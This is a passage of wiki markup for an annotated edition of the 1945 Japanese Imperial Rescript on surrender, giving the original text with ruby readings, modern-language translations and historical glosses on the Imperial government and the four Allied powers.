&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、
&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
#* [[#帝国政府]]
# [[#米英支蘇四國ニ對シ]]
#* [[#米英支蘇四國]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
#* [[#共同宣言ヲ受諾]]

=== 朕&amp;#xE0102;ハ帝國政府ヲシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、帝国&lt;small&gt;（大日本帝国）&lt;/small&gt;政府に命じて、&lt;/p&gt;
==== 帝国政府 ====
*「帝国政府」：[[w:大日本帝国憲法|大日本帝国憲法]]&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A7%E6%97%A5%E6%9C%AC%E5%B8%9D%E5%9B%BD%E6%86%B2%E6%B3%95-91835 大日本帝国憲法(ダイニッポンテイコクケンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;（明治憲法）のもとでの総理大臣を首班とする内閣。
**より具体的には、[[w:鈴木貫太郎内閣|鈴木貫太郎内閣]]&lt;ref&gt;[https://kotobank.jp/word/%E9%88%B4%E6%9C%A8%E8%B2%AB%E5%A4%AA%E9%83%8E%E5%86%85%E9%96%A3-845136 鈴木貫太郎内閣(すずきかんたろうないかく)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことを指す。
**明治憲法は「天皇主権」&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A9%E7%9A%87%E4%B8%BB%E6%A8%A9-1566340 天皇主権(てんのうしゅけん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;、つまり行政権の主体は「天皇」にあり、「国務大臣」めいめいが天皇を「輔弼」（補佐）して各省を管轄する体制となっていた。憲法には「内閣」や「内閣総理大臣」の規定がなく、「内閣」は天皇の命令で動く国務大臣たちの協議の場に過ぎなかった。
**また、軍隊を指揮監督する最高権限「[[w:統帥権|統帥権]]」&lt;ref&gt;[https://kotobank.jp/word/%E7%B5%B1%E5%B8%A5%E6%A8%A9-103758#w-855138 統帥権(トウスイケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;は主権者である「天皇」にあり、「内閣・政府」は軍隊や戦争に関する決定権を持たなかった。
**「内閣・政府」には憲法上の行政の統括権限がなかったが、実務上は「内閣」が国家の意思決定や諸外国との外交交渉を行う「窓口」であり、実務組織となっていた。
=== 米英支蘇四國ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：アメリカ・イギリス・中国・ソビエトの４か国に対して、&lt;/p&gt;
==== 米英支蘇四國 ====
*「米英支蘇四國」：ポツダム宣言を発した、米（アメリカ）・英（イギリス）・&lt;u&gt;支&lt;/u&gt;那（中華民国）の３か国、および後から名を連ねた&lt;u&gt;蘇&lt;/u&gt;聯（ソビエト連邦）
**詔書の草案の段階では、「&lt;span style=&quot;color:#500;&quot;&gt;米英二国&lt;ruby&gt;&lt;rb&gt;並&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ならび&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ニ重慶政権ソヴィエート聯邦&lt;/span&gt;」「&lt;span style=&quot;color:#500;&quot;&gt;米英重慶ソヴィエート政府&lt;/span&gt;」としているものもあった。
***中国（支那）では、日本は、日本軍の&lt;ruby&gt;&lt;rb&gt;傀儡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かいらい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:汪兆銘政権|&lt;ruby&gt;&lt;rb&gt;汪兆銘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おうちょうめい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;政権]]のみを国家承認しており、戦争中の敵国であり[[w:重慶市|&lt;ruby&gt;&lt;rb&gt;重慶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅうけい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]を首都としていた[[w:蔣介石|&lt;ruby&gt;&lt;rb&gt;蔣介石&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょうかいせき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]&lt;ref&gt;[https://kotobank.jp/word/%E8%92%8B%E4%BB%8B%E7%9F%B3-18318#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 蒋介石(ショウカイセキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;が率いる[[w:中華民国 (1912年-1949年)|中華民国]]&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD-97091#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 中華民国(チュウカミンコク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;の[[w:国民政府|国民政府]]&lt;ref&gt;[https://kotobank.jp/word/%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-64266#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 国民政府(コクミンセイフ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-1366638 中華民国国民政府(ちゅうかみんこくこくみんせいふ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことは認めずに「&lt;span style=&quot;color:#500;&quot;&gt;重慶政権&lt;/span&gt;」などと呼んでいた。
=== 其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：その共同宣言&lt;small&gt;（ポツダム宣言）&lt;/small&gt;を受諾するということを通知させた。&lt;/p&gt;
==== 共同宣言ヲ受諾 ====
*「共同宣言ヲ受諾」：当初は「米英支三国宣言」などと呼んでいた、いわゆる「[[w:ポツダム宣言|ポツダム宣言]]」を受諾するということ。

== 第三段落 ==
&lt;!--◆第三段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）抑〻帝國臣民ノ康寧ヲ圖リ萬&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;共榮ノ樂ヲ偕ニスルハ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;範ニシテ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;拳&amp;#xE0101;&lt;/span&gt;々措カサル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;曩ニ米英二國ニ宣戰セル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以モ亦實ニ帝國ノ自存ト東亞ノ安定トヲ&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;幾󠄁&amp;#xE0101;&lt;/span&gt;スルニ出テ他國ノ主權ヲ排シ領土ヲ&lt;span style=&quot;color:#500;&quot;&gt;&lt;!--〓--&gt;侵󠄁&lt;/span&gt;スカ如キハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ志ニアラス然ルニ&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰已ニ四歲ヲ閱シ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ陸&lt;span style=&quot;color:#500;&quot;&gt;海&amp;#xE0100;&lt;/span&gt;將兵ノ&lt;span style=&quot;color:#500;&quot;&gt;勇&amp;#xE0101;&lt;/span&gt;戰&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ百僚有司ノ勵&lt;span style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ一億衆&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;ノ奉公󠄁各〻最善ヲ盡セルニ拘ラス戰局必スシモ好轉セス世界ノ大勢亦我ニ利アラス加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ&lt;span style=&quot;color:#500;&quot;&gt;使&amp;#xE0101;&lt;/span&gt;用シテ&lt;span style=&quot;color:#500;&quot;&gt;頻&amp;#xE0100;&lt;/span&gt;ニ無辜ヲ&lt;span style=&quot;color:#500;&quot;&gt;殺&amp;#xE0100;&lt;/span&gt;傷シ慘&lt;span style=&quot;color:#500;&quot;&gt;害&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;フ&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;眞ニ測ルヘカラサルニ至ル而モ尙&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰ヲ繼續セムカ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;ニ我カ民族ノ滅亡ヲ招來スルノミナラス&lt;span style=&quot;color:#500;&quot;&gt;延&amp;#xE0102;&lt;/span&gt;テ人&lt;span style=&quot;color:#500;&quot;&gt;類&amp;#xE0100;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;文&amp;#xE0101;&lt;/span&gt;明ヲモ破却スヘシ斯ノ如クムハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;何ヲ以テカ億兆ノ赤子ヲ保シ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;靈ニ謝セムヤ是レ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以ナリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、
{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、
{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、
{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。
{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、
{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、
{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、
{{ruby|固|もと}}より{{ruby|朕|ちん}}が{{ruby|志|こころざし}}にあらず。

&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るに&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;已&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;すで&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;歳&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;閲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けみ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;陸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;海&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;勇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;百&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;僚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;有&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;司&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;励&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;衆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;庶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;奉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;公&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;各&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;〻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぜん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;尽&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せるに&lt;ruby&gt;&lt;rb&gt;拘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かかわ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らず、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/r